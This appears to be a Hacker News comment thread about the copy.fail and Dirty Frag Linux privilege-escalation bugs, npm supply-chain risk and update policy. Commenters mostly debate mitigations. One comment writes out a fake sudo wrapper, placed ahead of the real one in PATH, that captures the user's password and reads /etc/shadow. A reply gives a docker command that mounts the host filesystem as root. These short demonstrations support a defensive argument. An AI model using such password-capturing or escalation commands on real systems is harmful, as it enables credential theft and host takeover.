If you could convince everyone that a nuclear bomb would get dropped on their heads (or a comparably devastating event) if a vulnerability gets in, I highly doubt a company like #2 would still believe they're doing things optimally, for example.

KGunnerud• 3 months ago

I would rather work with a company that updates continuously, while also building security into multiple layers so that weaknesses in one layer can be mitigated by others.

For example, at one company I worked for, they created an ACL model for applications that essentially enforced rules like: “Application X in namespace A can communicate with me.” This ACL coordinated multiple technologies working together, including Kubernetes NetworkPolicies, Linkerd manifests with mTLS, and Entra ID application permissions. As a user, it was dead simple to use and abstracted away a lot of things i do not know that well.

The important part is not the specific implementation, but the mindset behind it.

An upgrade can both fix existing issues and introduce new ones. However, avoiding upgrades can create just as many problems — if not more — over time.

At the same time, I would argue that using software backed by a large community is even more important today, since bugs and vulnerabilities are more likely to receive attention, scrutiny, and timely fixes.

whilenot-dev2• 3 months ago

You forgot case #4: Worked at a startup where the frontend team thought it was a good idea to use lock files during development, but to do a "fresh" install of all dependecies during the deployment step.

And yes, they still thought they were doing the right thing.

echelon_musk• 3 months ago

Do you ride an R1?

ndsipa_pomu• 3 months ago

It's impossible to convince the "frequent upgrader" that maybe that's a risk in terms of introducing new issues

I would count myself as a "frequent upgrader" - I admin a bunch of Ubuntu machines and typically set them to auto-update each night. However, I am aware of the risks of introducing new issues, but that's offset by the risks of not upgrading when new bugs are found and patched. There's also the issue of organisations that fall far behind on versions of software which then creates an even bigger problem, though this is more common with Windows/proprietary software as you have less control over that. At least with Linux, you can generally find ways to install e.g. old versions of Java that may be required for specific tools.

There's no simple one-size-fits-all and it depends on the organisation's pool of skills as to whether it's better to proactively upgrade or to reluctantly upgrade at a slower pace. In my experience, the bugs introduced by new versions of software are easier to fix/workaround than the various issues of old software versions.

shevy-java2• 3 months ago

It's impossible to convince the "frequent upgrader" that maybe that's a risk in terms of introducing new issues.

Well, you critisize people who run the latest software here. Two counter-arguments:

1) If you don't upgrade frequently, you end up with super stable debian stuck on ... ancient software. This in turn means that many more recent software, won't work, unless you recompile a lot. I had this issue with mesa for instance, then needing a more recent LLVM, spirv-components and so forth. No chance to have that easily on debian, unless you control what you compile. On my local system here I run gtk2, gtk3 and gtk4 just fine. Good luck having that with debian for recent version; even debian sid is slow compared to, say, gentoo or arch(linux) or void(linux) here.

2) Even debian systems would be vulnerable to copy.fail. So that strategy is also not automatically better.

Personally I am among the frequent update folks. I use ruby scripts to automatically update to the latest, in hope that the people who write code are not incompetent. There is no guarantee that newer software is automatically always better; it is a trade-off. I don't have the time and resource for infinite security audits. I need to get things done and this approach, different to the "everything is scary" crowd, works super-well for me. I use a versioned AppDir approach on linux though, so I don't run into many issues of "can not upgrade because of same .so name issue", so I can conveniently switch to other versions as-is, including the kernel. (Excluding ABI differences and glibc, but for about 98% of the programs this works very well. I am also not alone with the get-everything-working approach, see xserver or gtk2-ng: https://github.com/X11Libre/xserver https://git.devuan.org/Daemonratte/gtk2-ng - granted, for the linux kernel this does not work that well ... I think we need better strategies for the linux kernel, things such as copy.fail should not be possible. I have no good solution here, AI will find many more exploits. No clue how we can prevent this or mitigate this more easily. I was surprised when the local instructor showed us how easy it is to use python for gaining superuser access as-is.)

JTbane• 3 months ago

Honestly the de facto standard is to blame: at my dev job, we vacuum up all the packages we need and get the software deployed to production ASAP, then later go over the SBOM and make sure nothing looks sketchy. I'd imagine this is the default most places; an intensive approval process would slow down CI/CD too much.

bshanks• 2 months ago

What's the conservative best practice for a solo founder (a one person company; assume the person spends ~20 hours per week on software development/maintenance and the rest of the time on other stuff)?

pseudohadamard2• 2 months ago

It's interesting how standards have changed. 25 years ago people screamed about ActiveX despite Microsoft's various attempts to lock it down. Today people use something that pulls a package from a Github repo that was abandoned eight years ago that pulls a package from an FTP server in Denmark that pulls a package from a Raspberry Pi in someone's basement in New Mexico and it's all good practice.

rerdavies• 3 months ago

I am feeling really uncomfortable sitting on a large React project.

Whether to do constant npm upgrades to keep the high-priority security issues count at zero (for what seems like about 15 minutes), or whether to hang back a bit to avoid catching the big one that everyone knows is coming real soon now.

Not enjoying npm at all.

emodendroket3• 3 months ago

Right, yeah, instead you can run ancient versions of everything and encounter a whole different class of risks

cenamus• 3 months ago

That's not at all what OP is talking about.

amelius• 3 months ago

lim (num_packages_in_system -> inf) p(successful_supply_chain_attack) = 1

sergeykish4• 3 months ago

Web pages handled by browsers. Linux desktop running code without sandbox is reckless, relied on verification by distro maintainers, does not work the moment users run proprietary software.

Programming language packages issue only because we don't have zero trust for modules — no restrictions to open socket or file system. Issue is not count, pure function leftPad can't hurt you.

JulienBrouchier• 3 months ago

There are positive things happening too. Recently, npm released min-release-age filtering the lets you only import packages that have a certain vintage, protecting you from all these supply chain attacks as they tend to be quickly detected.

https://github.com/npm/cli/releases/tag/v11.10.0

anthk3• 3 months ago

This never happened under CPAN/CTAN.

This wasn't a nightmare wanting to happen, but an example of badly maintaned systems for the lowest common denominator.

Joeri• 3 months ago

Blaming the victim is too easy. NPM is unsafe at any speed. You cannot use it in any but the most trivial capacities without opening yourself up to supply chain attacks.

Why is npm the only package ecosystem that has so many problems? What are the other package system owners doing better? Let’s start there, instead of blaming the victims.

marcus_holmes9• 2 months ago

This is talking about Linux packages. So no, not just npm.

Animats3• 3 months ago

The sheer mass of packages

Yes.

I just noticed that a Rust program I'm working on had acquired a plotter driver crate. A plotter driver? The program has no graphical output.

Turns out that "kdtree" has a dev dependency on a profiling library that pulls in a whole graphics system. Even in release mode, I get that, because I have debug symbols turned on, which activated dev dependencies.

Aargh.

endospore• 3 months ago

I have debug symbols turned on, which activated dev dependencies

Nope that doesn't happen. It's not compiled into your binary if it's a dev or build dependency. Cargo may have downloaded the crate source according to the lockfile and that's it, it shouldn't build anything unneeded.

KevinMS• 3 months ago

I got rid of half of my VSCode extensions a couple days ago, its too risky.

BobbyTables22• 3 months ago

Those things scare the crap out of me…

Even worse are the “extension packs” that combine some normal things and one wonky thing nobody’s ever heard of…

andai2• 3 months ago

Can someone help me understand the copyfail thing and how it relates to NPM packages?

Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right?

So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages.

And the advice isn't just "update your kernel" because we are still finding new related issues?

xena3• 3 months ago

npm can run on linux.

ahpeeyem• 3 months ago

NPM supply-chain attacks spread really quickly.

If a popular NPM package was compromised and included a copy.fail exploit, it would make lots of systems vulnerable to root privilege escalation.

wavemode2• 3 months ago

And the advice isn't just "update your kernel" because we are still finding new related issues?

The advice isn't just "update your kernel" because there is no update. The latest vulnerability (the one discovered after copy.fail) still has no fix.

Gigachad6• 3 months ago

The patches for the latest vulnerabilities aren’t even out yet. So it would be a real bad time for a new supply chain attack since it would get root on pretty much every system.

leonidasv• 3 months ago

The post is about Linux vulnerabilities, but given the recent supply chain attacks, I'd be especially careful with Homebrew: https://x.com/i/status/2052106143271354859

nomilk• 3 months ago

Often convenience and security are at odds, but `export HOMEBREW_NO_AUTO_UPDATE=1` is more convenient and more secure.

cromka• 3 months ago

Problem here is Brew does things in an anti-unix way by default, the auto updating of packages being the prominent reason.

I personally switched away from macOS with this being one of the reasons, after having realized brew will eventually compromise my system with their antics.

foo12bar4• 3 months ago

Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source.

Code is cheap and is becoming cheaper by the day. We need new paradigms.

randyrand• 3 months ago

Next: the back doors are written by the LLM!

foo12bar4• 3 months ago

You think we are doing well against back doors right now? Pfft.

Gigachad6• 3 months ago

LLMs have been used to scan binary blobs for exploits already. What would be more effective is a system designed with multiple layers of security so any one exploit is largely useless.

foo12bar4• 3 months ago

They would have to have access to and scan your individual binary. You'd have to describe how you can write a system with multiple layers of security generally for most problems, because I don't see that as being possible.

Wilder7977• 3 months ago

So no external libraries for anything? Billions of lines of code that duplicate the same thing n-times across an organization?

And the benefit is the obscurity of "no one will know how to exploit them"?

No, thanks.

foo12bar4• 3 months ago

Code is becoming so cheap that all you need is a bunch of api's for hardware and your computer will build to that spec. And you can define it in natural language.

pocksuppet5• 2 months ago

A remote LLM? Then the LLM vendor is installing things on your machine.

golem14• 3 months ago

This gets me to ask whether I have been hacked . For a few weeks now, both my main mbp and iPhone have been showing unexpected hangs of 1-30 seconds. I can’t find out what’s causing it - not memory pressure, not cpu load.

I am worried that the sluggishness appeared about the same time on both devices

Gigachad6• 3 months ago

For ios, rebooting your phone is extremely effective at removing exploits. The boot chain attestation stuff can verify the system is in a known state. If you are ultra paranoid you could enable lockdown mode which preemptively disables the entrypoints for exploits. So far I don't believe there has been any exploit which works with lockdown mode enabled.

Georgelemental2• 3 months ago

If you are already exploited though, I doubt it helps

Animats3• 3 months ago

I'm holding off on upgrading to Ubuntu 26.04 LTS until we have a few months of experience with the new release. Canonical just had a huge DDOS attack, and there might have been other attacks hidden in all that traffic.

turpentine• 3 months ago

There are at least two recent negative signals.

https://news.ycombinator.com/item?id=47943499 - 44 CVEs trying to replace coreutils with a greenfield rust rewrite.

https://news.ycombinator.com/item?id=47921079 - Shoehorning AI stuff into Ubuntu is the future.

xbar• 3 months ago

It seems like this round of vulns is going to be significant. What is the right response?

Gigachad6• 3 months ago

Personally I'm choosing to keep my home server behind a VPN and to enable Lockdown Mode on my phone and laptop for a while until the dust settles. As well as just limiting the software installed to trusted projects only.

VM isolation would still be safe even with these kernel exploits.

marvinified• 3 months ago

I've been doing alot of that lately

chubs2• 3 months ago

To mitigate supply chain attacks like this, I've taken to specifying exact versions in my Rust cargo.toml, and when importing new crates, select the previous-to-latest version. Is this a reasonable mitigation? It bugs me that Swift deprecates the concept of specifying exact versions, it actively pushes you towards semver which leaves the door open to this.

mattstir4• 3 months ago

select the previous-to-latest version

For supply chain attacks that simply bide their time, or for dependencies which involve interacting with other subsystems, it's possible you miss a critical security update by doing this. Of course, the maintainers of the crates should yank known bad releases, but that's putting trust in a third-party that may have already been compromised.

kam• 3 months ago

Cargo will still pick the latest for transitive dependencies that aren't explicitly specified in your Cargo.toml. This is what Cargo.lock is for.

chubs2• 2 months ago

Oh good point, I didn't think of transitive dependencies. A lot of languages i've worked with unfortunately have a 'do not check in the lockfile' culture, and a common 'blow away the lockfile when the package manager gets stuck' workflow, so that does concern me. Perhaps Cargo is better than average though, and the lockfile never needs nuking, providing this safety. This sounds like a good reason to check in the lockfile! Thanks for the response.

tdeck• 3 months ago

Copy Fail 2: Electric Boogaloo

What are people thinking with these meme style vulnerability names? It's going to be hard to pitch "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2: Electric Boogaloo".

dgellow• 3 months ago

"we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2". Problem solved

rablackburn• 3 months ago

Literally implemented PR guards today to prevent the team merging any dependencies that didn’t have explicit versions pinned (and that matched the resolution in the lock file).

People lamented semver not being trustable but that ship sailed a long time ago, and supply chain attacks are going to get worse before they get better.

Our team is pretty minimal when it comes to enforced hooks (everyone has their own workflow) but no one could come up with an objection to this one.

clbrmbr3• 3 months ago

Wouldn’t you prefer to pin to SHA hashes? Or does your package manager cloud-side ensure immutability of releases?

pjmlp8• 3 months ago

Remember the whole discussion when UNIX was supposed to not need anti-virus and talking down PCs?

Behaviours matter more than OS security primitives.

jeroenhd3• 3 months ago

The whole (mistaken) belief that Linux and macOS didn't require AV was based on the execute bit being present, something Microsoft fixed back in XP by making downloaded files as such and preventing them from being opened trivially.

If you have code execution, you can attack the OS.

pjmlp8• 3 months ago

Indeed, when one installs dependencies all over the Internet, or even better, key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh" as default suggestion on how to install them, attackers have the work done for them.

leonidasrup2• 3 months ago

Maybe the new software should not have any errors. I know, I have higher expectations than the average commercial software customer.

Jean-Papoulos• 3 months ago

Of course, why didn't anyone think of that ? I bet if someone started to ship software that has no errors they'll make a huge amount of money, especially from all the people that are security-minded !

Please grow a brain.

leonidasrup2• 3 months ago

There is currently only method to prove absence of errors, this method is not LLMs, it's formal verification methods. Currently only very little formal verification is used in software industry, static type checking.

bicepjai• 3 months ago

I still can’t believe people are ok with software updates every day. Looking at you Claude code

sshine• 3 months ago

It's a two-edged sword. You're damned if you do and damned if you don't update.

tjansen• 3 months ago

I wonder whether there is any tool that can prevent npm from downloading any package that has been published in the last month. While I miss out on possible fixes, this would prevent downloading some 3rd level dep that takes over my machine.

lmiller1990• 3 months ago

pnpm has this, I think others may also have something similar.

https://pnpm.io/settings#minimumreleaseage

janekies• 3 months ago

pnpm has added a new setting, minimumReleaseAge, enabled by default, just to try to mitigate these issues.

backwardsponcho• 3 months ago

NPM seems to have introduced the flag `minimumReleaseAge` for this exact purpose. However even though are many recent references to it[0][1][2] I don't see it anywhere in the NPM documentation.

[0] https://news.ycombinator.com/item?id=47513932

[1] https://github.com/npm/cli/issues/8570

[2] https://socket.dev/blog/npm-introduces-minimumreleaseage-and...

eskibars• 3 months ago

"If it ain't broke, don't fix it" is its own area of risk that people often ignore

creesch• 3 months ago

Except that a lot of software likely is already broken in fun ways we currently don't know about. That is what makes it such a "fun" challenge. Supply chain attacks are one thing, but CVEs in already released software allowing other attackers are another.

As always, I know most of us work in IT, but things rarely are actually binary.

grayhatter• 3 months ago

I dislike FUD like this :/

1a527dd5• 3 months ago

This applies to much more than just software, in fact it applies to almost everything.

I don't remember where I read it, but it basically boils down to need vs want.

I've used that rule for deciding between a new car or used. A fancy vacuum or basic.

A shiny new gadget.

Bringing new things into the tech stack.

Picking a new tech stack.

vga1• 3 months ago

Maybe you should install new kernels at least though.

metaengies• 3 months ago

Actively destructive opinion article. I could not begin to understand the rationale.

It takes 45 seconds to go check how old the copyfail and dirtyfrag vulnerabilities actually are. Which is longer than it takes to read TFA. Dirtyfrag may be relevant to systems from as far as 2017.

It's not "new" software being affected. And actual old software is in a much worse state because we had a lot more time to find their problems.

smallpipe• 3 months ago

OP is suggesting that a supply chain attack would be bad now, and to reduce that risk by not installing/updating NPM packages.

pocksuppet5• 3 months ago

FYI copyfail and dirtyfrag are the same vulnerability activated by two different code paths.

It's as if Windows had a vulnerability triggered by writing a certain string to a file. Copyfail is to write the string to a file. Dirtyfrag is to get another program to write the string to a file. When you fix the vulnerability - make sure nothing strange happens when the string is written - both go away at the same time.

yurug• 3 months ago

At some point, some people will rebuild an entire stack (all layers, from OS to applications) with proof carrying code upgrades. Proof-code co-design and co-construction is the only way to execute code that you can trust.

mastermage2• 3 months ago

I think what we have to start accepting even security experts is that our world is incredibly fragile. I think people realy understimate this. And I do not mean just the IT world but the entire world is built on many incredibly fragile balances. Security Exploits will always exist. Not just in software but in real life. Heck someone managed to Sneak into a Security Conference. And that guy was a random youtuber. Granted that was not like a high security thing. But thats just an example I had of the top of my head. Basically it is realy easy to circumvent security in most cases.

What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.

kaelyx• 3 months ago

I remember there was a trend with some UK Influencers using some "Ladder and a High-vis" tricks to enter places for a while to show how rough physical security is [0]. I believe its the youtuber, Max Fosh, who managed to do it back to back at the International Security Expo, first in the UK [1] and then in the US [2], with the fake names 'Rob Banks' and 'Nick Everything'.

I've studied security culture before and in most cases everything comes down to a sliding scale with security on one side and convenience/accessibility on the other, the more secure something is, the less accessible it is and vice versa.

[0] https://www.youtube.com/watch?v=LTI0SeyhAPA

[1] https://www.youtube.com/watch?v=qM3imMiERdU

[2] https://www.youtube.com/watch?v=NmgLwxK8TvA

fsflover2• 3 months ago

Alternatively, consider using Qubes OS, which isolates untrusted software using strong hardware virtualization. My daily driver, can't recommend it enough. Examples of usage patterns: https://doc.qubes-os.org/en/r4.3/user/how-to-guides/how-to-o...

alecco2• 3 months ago

Or disable algif_aead module as in https://news.ycombinator.com/item?id=47957409

JetSetIlly• 3 months ago

That's not enough in this case. The suggested mitigation according to the Dirty.Frag github page is to blacklist esp4, esp6 and rxrpc

alecco2• 3 months ago

Thanks.

Discussion https://news.ycombinator.com/item?id=48054182

Luker882• 3 months ago

Dammit, this is why nobody uses NixOS. Nothing works on it!

The copyFail didn't, the dirtyfrag doesn't.

This copfail2 does modify /etc/passwd, but I can't `su - sick` as expected.

Luker882• 3 months ago

sligtly unrelated, but the portable way to execute stuff is via `/usr/bin/env`, not `/bin/bash`.

I did try fixing the path to use nixos paths, but it was still unsuccessful. Did not really check further.

CriticalRegion2• 3 months ago

This is a baffling take.. These exploits are local privilege escalations for linux systems. They'll allow an attacker with a foothold in a shared environment or with low privilege access to a system to affect the rest of the system. They aren't RCEs and won't let attackers access environments that they couldn't before other than the shared hosting scenarios. That is absolutely not how most supply chain attacks are carried out. Most supply chain attacks are performed via credential theft and social engineering. The more sophisticated ones are APT style attacks like the Solarwinds one (which were carried out by organisations that would already have exploits like these) or more creative stuff like the Shai-Hulud fiasco. All of these options existed before these LPEs. If you're worried about supply chain attacks you've been worried for longer than Mythos has been out. Not updating your software is never good security advice.

Phelinofist2• 3 months ago

Either my reading of your comment is wrong or you misunderstood the supply chain comment by OP I think: what they mean is that a supply chain attack that gets the exploit on a system would be great now because the reported vulns are unfixed pretty much everywhere

CriticalRegion2• 3 months ago

No, you read it right. I just misunderstood the post's message as "these exploits will enable more supply chain attacks". I'll probably delete my comment since it's debating a strawman. It is absolutely right that these exploits might enable these attacks to have a larger impact. I still don't think that I agree with the message since a malicious npm package already installed can get its payloads from a C2 server, it doesn't need an npm update.

AntiUSAbah• 3 months ago

The supply chain attack in this case, would be injecting the exploit on a ci/cd system and escalating the local user who runs the npm code to root.

The proper response from them and you, should be to make sure to have some isolatin between user space and root like gvisor.

throawayonthe3• 3 months ago

yeah but i mean installing an npm package in a container is giving it low privilege access

traderj0e• 3 months ago

Well it does say "install" new software, as in run code locally

mobeigi• 3 months ago

I saw a recent post about only adopting packages a certain number of days post release (say +3 days, or +7 days) after. The idea is you never bring in fresh commits, only older ones. This would need dangerous or bad commits to be marked vulnerable too.

It means you skip supply chain attacks but may miss fresh vulnerability patches too.

mattstir4• 3 months ago

You only miss supply chain attacks that are eager to begin exploiting. If everyone begins waiting a week to update dependencies, attackers just need to wait 2 weeks before actively using their attack vectors.

ptrl600• 3 months ago

What if it's a really good bit?

antonyh2• 3 months ago

"Don't update your systems for a while" is exactly what an attacker would say.

If you can't trust your update sources, you have bigger problems.

moffkalast• 3 months ago

If I'm being really frank, are system updates not more disruptive, destructive and result in more data loss and downtime than all the attacks you'll experience in your lifetime? (unless you're a high value business target ofc, I'm talking for personal machines)

In my book, having unattended-upgrades or windows update run amok on your system is functionally worse than a rootkit.

antonyh2• 3 months ago

This. Lost hours from the hours running the updates, lost hours from the occasional faulty upgrade, and every now and again it's fail spectacularly and need a restore from backup to return to productivity. No matter if it's Ubuntu LTS or non-LTS, every six months there's always something radically changed. OpenSUSE Leap has the same problem. I'm looking at Tumbleweed but a new version every week is going to break occasionally. Gentoo build-from-source is going to have weirdness every now and again, if not utter ruin. MacOS updates yearly, and brings horrors with every point zero release. Windows is Windows, and those problems are well known. I don't think there's a way around it with the current offerings.

It's a problem we have to live with for the sake of progress and for security updates. Every machine needs downtime for maintenance on a periodic, often-scheduled basis. It might cost time but avoiding updates is not a good plan.

Aside from dodgy updates that have to run as root to install, if you have passwordless sudo it's more dangerous than any broken package or local-only privilege escalation exploit. I'll wager many have it set up that way, because typing passwords is tiresome.

Melatonic5• 3 months ago

This is why you always have a test environment and good, tested backups that are easy and quick to roll back to. Even if something makes it past test (or there is an install problem with a patch that is otherwise fine) you can just roll back.

For personal machines without those resources you are a bit of a hard place - although many OS and software these days have long term stable versions and the ability to defer auto patches by a week or two

bitfilped• 3 months ago

Am I missing part of the article? This seems like 2 sentences saying "don't install anything cause some Linux LPEs came out." I don't understand why this is on the frontpage of HN.

xena3• 3 months ago

As the author of it I'm as confused as you are. It's frontpage number 68 for me, next time is ultimate nice.

sergeykish4• 3 months ago

Linux distributions do not need Copy Fail to get root access:

    echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo

attack on next sudo call, shows data accessible only to root.

Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh

long term environments defined in docker compose:

    $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app

switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.

quectophoton• 3 months ago

If `docker` is already there, why even bother with `sudo` when you can just:

    docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'

Chances are that the person who set up Docker didn't do it properly.

sergeykish4• 3 months ago

Run in docker container:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh
    /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
    /bin/sh: docker: not found

I've described attack from host user and isolating attacker with docker.

kro• 3 months ago

These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer.

It's quite different from PATH-injecting an already privileged user.

Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.

It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.

sergeykish4• 3 months ago

Copy Fail can't affect files it can't access.

PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].

[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

harrouet2• 3 months ago

Containerizing every app is what iOS / iPadOS already do.

It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.

bsenftner• 3 months ago

This is why I avoid the entire JavaScript shitshow that is NPM and all that ecosystems nonsense. The population of users do not have the secondary considerations to be trusted, there will always be someone that does the worse and talks too many into following them. Then the "best practices" produce failures. What a shit show.

clbrmbr3• 3 months ago

So what do we do? Pin our dependencies (to hashes when possible), and only update when there are CVEs?

But problem is this could lead to abuse of the CVE system to try to force rapid adoption of attacked packages. What prevents this?

throawayonthe3• 3 months ago

Nothing :D

papichulo2023• 3 months ago

Run everything as sudo so they cant escalate any further ;)

clbrmbr3• 3 months ago

Do you know if this exploit works on Docker containers? And if so, I assume it just allows escalation WITHIN the container? So this attack is scary for Linux desktops and servers, but a fully containerized system like common on CI/CD should be good. Right?

rvz• 3 months ago

If you are on Linux that is.

moebrowne2• 3 months ago

For anyone who is running an out-of-support version of Ubuntu (Ubuntu 20 and lower) I highly recommend Ubuntu Pro it gives access to updates and is free for personal use

XCabbage• 3 months ago

Sorry, I don't get it. What's the chain of reasoning that connects "there are a couple of new Linux local privilege escalation exploits" to "don't install any new software"? Is the threat we're supposed to be concerned about here just a package maintainer publishing malware that uses these exploits?

(Naively, not knowing much about apt-get or yum or other OS package managers, I have always assumed that 1. only a handful of trusted people can publish to the default repos for system package managers and 2. that since I have to run `apt-get install` as root anyway, package installers can completely pwn my system if they want to and I am protected purely by trust. Is some of that wrong? If it's right, isn't it nonsensical to be any more worried about installing new packages in light of these vulns?)

roskilli• 3 months ago

Well one thing is, there are package updates that could masquerade a backdoor much like XZ Utils[1].

The post in question points to dependency package managers however not system packages, such as NPM, which has pre and post build scripts, install scripts, etc.

[1] https://en.wikipedia.org/wiki/XZ_Utils_backdoor

thot_experiment• 3 months ago

Speaking of, LTT posted a video about DDR pad, which triggered the sleeper cell programming of my youth and I opened up StepMania to play a few rounds. I was shutting down the program and I noticed the build info in the corner.

6-19-2005

My copy of StepMania is turning old enough to drink in like a month and it's still fantastic, software updates are (mostly) a scam.

grey-area• 3 months ago

Alternatively, maybe you shouldn’t have so many dependencies.

harrouet2• 3 months ago

If there is any learning from the AI craze, it is that there is no coming back on the pace of breach discoveries.

Sure we've just faced an acceleration phase and a wave of patches will follow before settling in. But where we used to find x zero-day per million LoC, we will now find 10x ZD/MLoC. [hopefully detection will become part of CI so that number may vary]

So, we will have more disasters waiting to happen. Assume that they will happen.

My #1 recommendation is to curate a list of the auth tokens that you use (keep the list, not the actual tokens in a central place...), and be ready to rotate them as automatically as possible. You already have backups. Know how to rotate all your credentials.

Write some scripts. Get ready. It will happen.

mghackerlady• 3 months ago

Or, just install OpenBSD or (or FreeBSD if you're willing to sacrifice a chunk of security for nvidia, jails, and bhyve)

mtam• 3 months ago

Genuinely curious why are tools like ChainGuard not more prevalent? I am sure there open source alternatives for it too.

giwook• 3 months ago

I installed LuLu recently and it's been nice to have that extra peace of mind. Obviously it's not a silver bullet, but it is a nice tool to have as part of a broader defensive, preventative posture.

I'm not associated with the project in any way and am very much open to other suggestions, either as an alternative to LuLu or to complement it.

https://objective-see.org/products/lulu.html

shevy-java2• 3 months ago

Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so.

This makes no sense.

So, copy.fail refers to a linux kernel problem, yes? A local instructor showed it to us, e. g. by using python to become superuser.

Well ... does this mean that a computer system is useless, because of that bug? No. Besides, people can patch it already, so while that is indeed a huge bug as such, it does not mean it makes people's computer useless at all.

But, even ignoring this ... why would we now AVOID installing new software" for a bit? What rationale is given here? The rationale was given "because of ... uhm ... npm supply chain attacks":

"Right now would be one of the best times for a supply chain attack via NPM to hit hard.

Outside of Linux kernel patches from your distro, I think it's probably a good idea to put a moratorium on installing new software for a week or so."

Well, many computer systems won't even have npm installed. Besides, if they do, they should be well aware of npm having had issues for such a long time. left-pad is still the funniest one of all tims IMO, or among top three. copy.fail is not funny - it is almost so simple that it is stupid, which kind of makes this an epic fail indeed, and that AI found it also kind of means that skynet won. Humans won't find as many weaknesses as AI skynet will. But just because of such an exploit and npm sucking, why would this mean I should ... arbitrarily stop compiling any new software? THAT MAKES ABSOLUTELY NO SENSE AT ALL. That "rationale" is not a rationale. That is just an opinion, without any real argument to be had.

If the issue is serious, patch the linux kernel. End of story. No need to have a "moratorium" on installing new software. The "for a bit" makes no sense anymore than "for 50 days" or any other arbitrary number. xeiaso is not THINKING here.

hn_throwaway_992• 3 months ago

I always wondered why it wasn't super easy to have a version specification in NPM that basically said "give me the latest version of this dependency as of X weeks ago". That is, hijacked modules usually were revealed within a week, and there are some groups (like security researchers) that are fine with being on the bleeding edge, but a lot of more conservative companies would rather hold back a week or two.

I know there are extensions and proxies you can set up that do this, but it just seems like it should be built in to NPM directly (maybe it has, I haven't been up on Node programming in the last couple years).

davidjkerber• 3 months ago

Just sharing for awareness, NPM does support that as of February: https://socket.dev/blog/npm-introduces-minimumreleaseage-and...

It must have been a very quiet announcement because I just found out about it this week.

hn_throwaway_992• 2 months ago

Thanks, didn't know this was added!

looneysquash• 3 months ago

That sounds like it wouldn't scale. If everyone did it, then it would just delay things.

abustamam2• 3 months ago

True, but not everyone will do it. The intention isn't to scale, it's to save your own ass.

abustamam2• 3 months ago

This advice is good even if there weren't security vulnerabilities. When I was a junior engineer I'd install a bunch of packages just willy nilly. My manager was like "stop installing packages for simple things. Just learn how they work and code it yourself."

I've done that ever since. Of course, I still use packages like express and tailwindcss. But in the era of LLMs, using a package for something like react drop-downs is unnecessary.

dzonga• 3 months ago

instead of using downloading software via npm (in case of your computer being taken over

there's a secure option provided by the web - no build - scripts at the top / bottom of the page

they're executed in a secure sandbox

junto• 3 months ago

Reminds me of the old adage “I don’t need to outrun the bear. I just need to outrun you.”

Once everyone takes the stance of waiting 2 weeks, we are all back to the same situation.

I don’t like the suggestion to “wait for others to be the unfortunate victims, so that I can benefit from their misfortune”.

Surely there’s a better way.

happyPersonR• 3 months ago

With mandatory auto updates and software that don’t pin dependencies being the norm, most of us have no choice in the matter really.

We’re not downloading new firmware and installing for a lot of things it’s all getting pulled in automatically.

asdfman123• 3 months ago

Genuine question: I wonder if AI coding is responsible for the new exploits coming to light.

AI coding is great at is helping you try out things you wouldn't have the time or energy to normally do. It shines for writing scripts that aren't part of a larger codebase, and helping with boring, rote tasks.

Hackers are also very motivated to use new tools to find any kind of opening (unlike normal devs who aren't always as... motivated :).

Melatonic5• 3 months ago

This is why I usually try to lean toward software versions with LTS (Long Term Stable) versions - especially if they are more minimalist / run leaner. Theoretically you get all the security patches (if needed - of course you can vet updates still and test) and less bugs and vulnerabilities through less new features.

Reducing attack surface and software complexity will (theoretically) reduce the number of possible exploits regardless of what new tool or process attackers discover.

Schlagbohrer• 3 months ago

I juuuuuust updated npm, should i be worried?

epolanski• 3 months ago

Is the current situation a positive for commercial Linux distros that focus on security?

Maybe you shouldn't install new software for a bit

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